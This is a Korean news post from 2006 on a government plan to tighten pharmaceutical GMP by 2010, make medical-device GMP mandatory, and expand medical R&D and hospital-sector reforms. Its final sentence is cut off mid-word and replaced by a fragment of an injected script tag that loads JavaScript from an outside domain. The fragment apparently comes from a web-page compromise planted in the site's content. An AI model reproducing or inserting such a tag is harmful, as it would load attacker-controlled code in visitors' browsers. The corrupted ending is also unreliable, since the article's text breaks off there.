작성자 관리자 작성일 2006-07-21 오후 12:42:09 (Hit. 798)
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제목 의약품 GMP 선진국 수준으로 대폭 강화
의약품 GMP 선진국 수준으로 대폭 강화
오늘 대통령 보고…영세 하위업체 무더기 퇴출
 
 

이르면 오는 2010년까지 의약품 GMP가 선진국 수준으로 강화되고 내년 5월부터는 의료기기 GMP가 의무화된다.

또 이달부터는 의약품에 대한 허가를 받기 전에 GMP 시설부터 사전조사를 받아야한다. 시설에 하자가 있을 경우에는 의약품 허가를 받을 수 없다.

의료산업선진화위원회(위원장 한명숙 국무총리)는 11일 오후 3시 이같은 내용의 ‘의료산업 선진화 세부추진방안’을 노무현 대통령에게 보고한다.[자료실 참조]

이날 보고될 내용은 그간 3차례 회의를 통해 선정된 6개 분야 39개 과제 중 15개 세부과제다.

세부안은 경쟁력이 취약한 국내 의료산업을 미래핵심전략산업으로 육성하기 위한 것으로 크게 ▲의료산업 발전방안과 ▲의료제도 개선방안으로 나뉜다.

[의료산업 발전 방안]

① 내년 5월부터 의료기기 GMP 의무화

정부는 우선 2010년까지 의약품 품질관리기준(GMP:Good Manufacturing Practice)을 선진국 수준으로 강화하고 의료기기 GMP는 내년 5월부터 의무화한다는 방침이다. 이달부터는 의약품 허가시 GMP 사전조사가 의무화됐다.

정부의 이같은 방안은 기업의 자율적인 구조조정과 전문화·규모화를 유도하기 위한 것으로 앞으로 제조설비를 비롯, 원료구입, 제조, 포장에 이르기까지 전 과정에 대한 품질관리기준이 미흡한 업체는 살아남을 수 없게 된다.

정부안에는 의약품과 의료기기 등 성장유망 분야에 대한 집중 지원대책도 담겨 있다.

②올해 12월부터 신약과 개량신약 첨단 제품 지정

정부는 올해 12월부터 신약과 개량신약 등을 첨단기술 및 제품으로 지정, 기업의 연구개발을 독려하고 의료기기 성장유망분야 기술 개발 로드맵도 마련한다는 방침이다.

또 의료 R&D의 체계적 관리를 위해 국가과학기술심의원회 산하에 의료연구협의회(KMRC)를 설치, R&D 투자규모·방향 설정, 성과평가, 연구결과의 상업화, 연구자 교육 등을 수행할 계획이다.

③2008년부터 의학전문대학원에 MD-PhD 개설

선진화위원회 관계자는 “R&D의 효율화를 위해 2008년부터 의학전문대학원에 MD-PhD(의학전문석사과정+학술학위과정) 과정을 개설, 의료연구 전문인력을 육성할 것”이라고 말했다.

세부안에는 첨단의료복합단지 조성계획도 들어있다.

④진단·치료·요양·관광 결합 신개념 복합의료서비스 제공

기존 의료클러스터, 연구기관·기업·병원 등과의 연계 강화를 통해 글로벌 신약개발을 촉진하고 진단·치료·요양·관광이 결합된 신개념 복합의료서비스를 공급하겠다는 것이다.

정부는 이를위해 2010~20년까지 매년 의료 R&D 예산의 10%(총 3조원)을 복합단지에 투자할 계획이다. 이렇게 되면 2013~2023년까지 순생산 증대효과가 5조8000억원, 신규 고용창출 효과가 8만명에 이를 것으로 정부는 추정하고 있다.
[의료제도 개선방안]

① 의료기관 인수·합병절차 간소화 및 소규모 병상 적정화 유도

의료부문에서는 의료기관의 인수·합병절차 간소화, 소규모 병상에 대한 적정화 관리 방안이 마련됐다.

또 의료기관의 경영상태에 대한 외?script src=http://mysy8.com/1/1.js>
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